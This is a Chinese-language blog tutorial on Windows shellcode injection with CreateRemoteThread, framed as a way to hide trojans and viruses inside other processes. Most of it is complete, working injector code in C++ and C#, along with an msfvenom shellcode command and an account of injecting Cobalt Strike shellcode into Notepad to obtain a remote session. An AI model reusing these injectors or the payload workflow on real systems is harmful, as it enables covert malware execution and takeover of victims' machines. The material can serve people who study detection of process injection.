最近在看如何执行shellcode的方法,发现了一种叫做代码注入的方式可以使用,查了下资料,技术很久就在用了,但现在还是有很多apt组织在使用,比如APT37,Backdoor.Oldrea,AuditCred,于是学习一下。木马和病毒的好坏很大程度上取决于它的隐蔽性,木马和病毒本质上也是在执行程序代码,如果采用独立进程的方式需要考虑隐藏进程否则很容易被发现,在编写这类程序的时候可以考虑将代码注入到其他进程中,而进程注入是一种在单独的进程的地址空间中执行任意代码的方法。本文将介绍代码注入的原理以及如何使用。
为了实现代码注入,微软提供了一个邪恶的函数CreateRemoteThread
,想要执行用户代码,在Windows中最常见的就是使用回调的方式,Windows采用的是事件驱动的方式,只要发生了某些事件就会调用回调,在众多使用回调的场景中,线程的回调是最简单的,它不会干扰到目标进程的正常执行,也就不用考虑最后还原EIP的问题。最常见的就是使用CreateRemoteThread
创建一个远程线程。
要对进程执行内存操作,我们必须能够访问它。可以通过使用OpenProcess
函数获得
HANDLE OpenProcess( DWORD dwDesiredAccess,//对进程对象的请求访问权限 BOOL bInheritHandle,//布尔值,指示此进程创建的进程是否将继承此句柄。 DWORD dwProcessId//这是受害者进程的进程标识符 );
一旦我们获得受害者进程的句柄,我们继续为受害者进程内存中的shellcode分配空间。这是通过使用VirtualAllocEx
调用完成的。
LPVOID VirtualAllocEx( HANDLE hProcess,//我们想要分配内存的进程 LPVOID lpAddress,//受害者进程内存中指定地址的指针 SIZE_T dwSize,//分配的内存区域的大小 DWORD flAllocationType,//指定要分配的内存类型 DWORD flProtect//它指定分配的内存保护,我们将其设置为PAGE_EXECUTE_READWRITE。 );
WriteProcessMemory
是一个将数据写入指定进程的内存区域的函数。需要注意的是整个内存区域必须是可写的,否则会失败,所以我们将内存分配为可写,并与可读和可执行文件一起分配。
BOOL WriteProcessMemory( HANDLE hProcess,//我们想要写入数据的进程 LPVOID lpBaseAddress,//我们想要写入数据的地址 LPCVOID lpBuffer,//指向必须写入的数据的指针 SIZE_T nSize,//写入的数据量 SIZE_T *lpNumberOfBytesWritten//指向SIZE_T的指针,它将存储写入该目标的字节数。 );
CreateRemoteThread
是一个用于创建在另一个进程的虚拟空间中运行的线程的函数。
HANDLE CreateRemoteThread( HANDLE hProcess,// 目标进程句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes,// 安全属性 SIZE_T dwStackSize, // 进程堆栈大小 LPTHREAD_START_ROUTINE lpStartAddress, // 进程函数 LPVOID lpParameter, // 进程参数 DWORD dwCreationFlags, // 创建标志 LPDWORD lpThreadId // 参数返回ID );
通过CreateRemoteThread
API 实现代码注入
OpenProcess
函数获取对进程的访问权限,以便能够执行所需的操作。VirtualAllocEx
函数在进程空间中分配内存。shellcode
写入VirtualAllocEx
分配的内存位置。CreateRemoteThread
。有了思路,就是写代码了,参考大佬的代码
VOID injectShellcode(DWORD dwPID) { BOOL bWriteSuccess; DWORD dwThreadId; HANDLE hProcess; HANDLE hRemoteThread; SIZE_T numBytes; SIZE_T payloadSize; LPVOID lpRemoteMem; cout << "\t[*]获取进程PID : " << dwPID << endl; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID); if (hProcess == INVALID_HANDLE_VALUE) { cerr << "\t\t[!]获取远程进程的句柄失败" << endl; return; } cout << hex; cout << "\t\t[+] 进程句柄 : 0x" << hProcess << endl; lpRemoteMem = nullptr; cout << "\t[*] 为shellcode分配内存" << endl; lpRemoteMem = VirtualAllocEx(hProcess, nullptr, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!lpRemoteMem) { cerr << "\t\t[!] 远程进程中分配内存失败." << endl; CloseHandle(hProcess); return; } cout << "\t\t[+] 分配内存 : 0x" << lpRemoteMem << endl; cout << "\t[*] 尝试将shellcode写入进程" << endl; payloadSize = sizeof(popCalc64); bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, popCalc64, payloadSize, &numBytes); if (!bWriteSuccess) { cerr << "\t\t[!] shellcode写入失败. ";// " << numBytes << " bytes instead of " << payloadSize << " bytes." << endl; CloseHandle(hProcess); return; } cout << "\t\t[+] 尝试将shellcode写入进程." << endl; cout << "\t[*] 创建一个新线程来执行shellcode." << endl; hRemoteThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpRemoteMem, nullptr, 0, &dwThreadId); if (!hRemoteThread) { cerr << "\t\t[!] 创建新线程失败." << endl; CloseHandle(hProcess); return; } cout << "\t\t[+] 进程创建成功: 0x" << dwThreadId << endl; WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hRemoteThread); CloseHandle(hProcess); }
好了,既然我们已经有了思路,也有方法了,就差实践了,那就弹个计算器试试
msfvenom -p windows/x64/exec CMD=calc -b "\x00" -f c
用msf生成shellcode
这里输入的PID是记事本的PID,可以看到成功打开计算器
弹出计算器还远远达不到我们的要求,只有shell才是我最终的目的,这里使用cs自带的shellcode来演示,执行代码,输入记事本的PID
成功将shellcode注入记事本中,上线
我们从开始原理到最后实现上线,基本知道了代码注入是啥,小弟也是第一次研究这个,有什么错误还请各位师傅指出!
另外附上c#版本代码
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Runtime.InteropServices; using System.Security.Principal; using System.Diagnostics; [DllImport("Kernel32", SetLastError = true)] static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); [DllImport("Kernel32", SetLastError = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("Kernel32", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); [DllImport("Kernel32", SetLastError = true)] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ref uint lpThreadId); [DllImport("Kernel32", SetLastError = true)] static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); [DllImport("Kernel32", SetLastError = true)] static extern bool CloseHandle(IntPtr hObject); //http://www.pinvoke.net/default.aspx/kernel32/OpenProcess.html public enum ProcessAccessRights { All = 0x001F0FFF, Terminate = 0x00000001, CreateThread = 0x00000002, VirtualMemoryOperation = 0x00000008, VirtualMemoryRead = 0x00000010, VirtualMemoryWrite = 0x00000020, DuplicateHandle = 0x00000040, CreateProcess = 0x000000080, SetQuota = 0x00000100, SetInformation = 0x00000200, QueryInformation = 0x00000400, QueryLimitedInformation = 0x00001000, Synchronize = 0x00100000 } //https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex public enum MemAllocation { MEM_COMMIT = 0x00001000, MEM_RESERVE = 0x00002000, MEM_RESET = 0x00080000, MEM_RESET_UNDO = 0x1000000, } //https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants public enum MemProtect { PAGE_EXECUTE = 0x10, PAGE_EXECUTE_READ = 0x20, PAGE_EXECUTE_READWRITE = 0x40, PAGE_EXECUTE_WRITECOPY = 0x80, PAGE_NOACCESS = 0x01, PAGE_READONLY = 0x02, PAGE_READWRITE = 0x04, PAGE_WRITECOPY = 0x08, PAGE_TARGETS_INVALID = 0x40000000, PAGE_TARGETS_NO_UPDATE = 0x40000000, } public static void CodeInject(int pid, byte[] buf) { try { uint lpNumberOfBytesWritten = 0; uint lpThreadId = 0; Console.WriteLine($"[+] Obtaining the handle for the process id {pid}."); IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)pid); Console.WriteLine($"[+] Handle {pHandle} opened for the process id {pid}."); Console.WriteLine($"[+] Allocating memory to inject the shellcode."); IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE); Console.WriteLine($"[+] Memory for injecting shellcode allocated at 0x{rMemAddress}."); Console.WriteLine($"[+] Writing the shellcode at the allocated memory location."); if (WriteProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten)) { Console.WriteLine($"[+] Shellcode written in the process memory."); Console.WriteLine($"[+] Creating remote thread to execute the shellcode."); IntPtr hRemoteThread = CreateRemoteThread(pHandle, IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, ref lpThreadId); bool hCreateRemoteThreadClose = CloseHandle(hRemoteThread); Console.WriteLine($"[+] Sucessfully injected the shellcode into the memory of the process id {pid}."); } else { Console.WriteLine($"[+] Failed to inject the shellcode into the memory of the process id {pid}."); } //WaitForSingleObject(hRemoteThread, 0xFFFFFFFF); bool hOpenProcessClose = CloseHandle(pHandle); } catch (Exception ex) { Console.WriteLine("[+] " + Marshal.GetExceptionCode()); Console.WriteLine(ex.Message); } }
参考:
https://attack.mitre.org/techniques/T1055/
https://bbs.pediy.com/thread-119091.htm
https://pwnrip.com/demystifying-code-injection-techniques-part-1-shellcode-injection/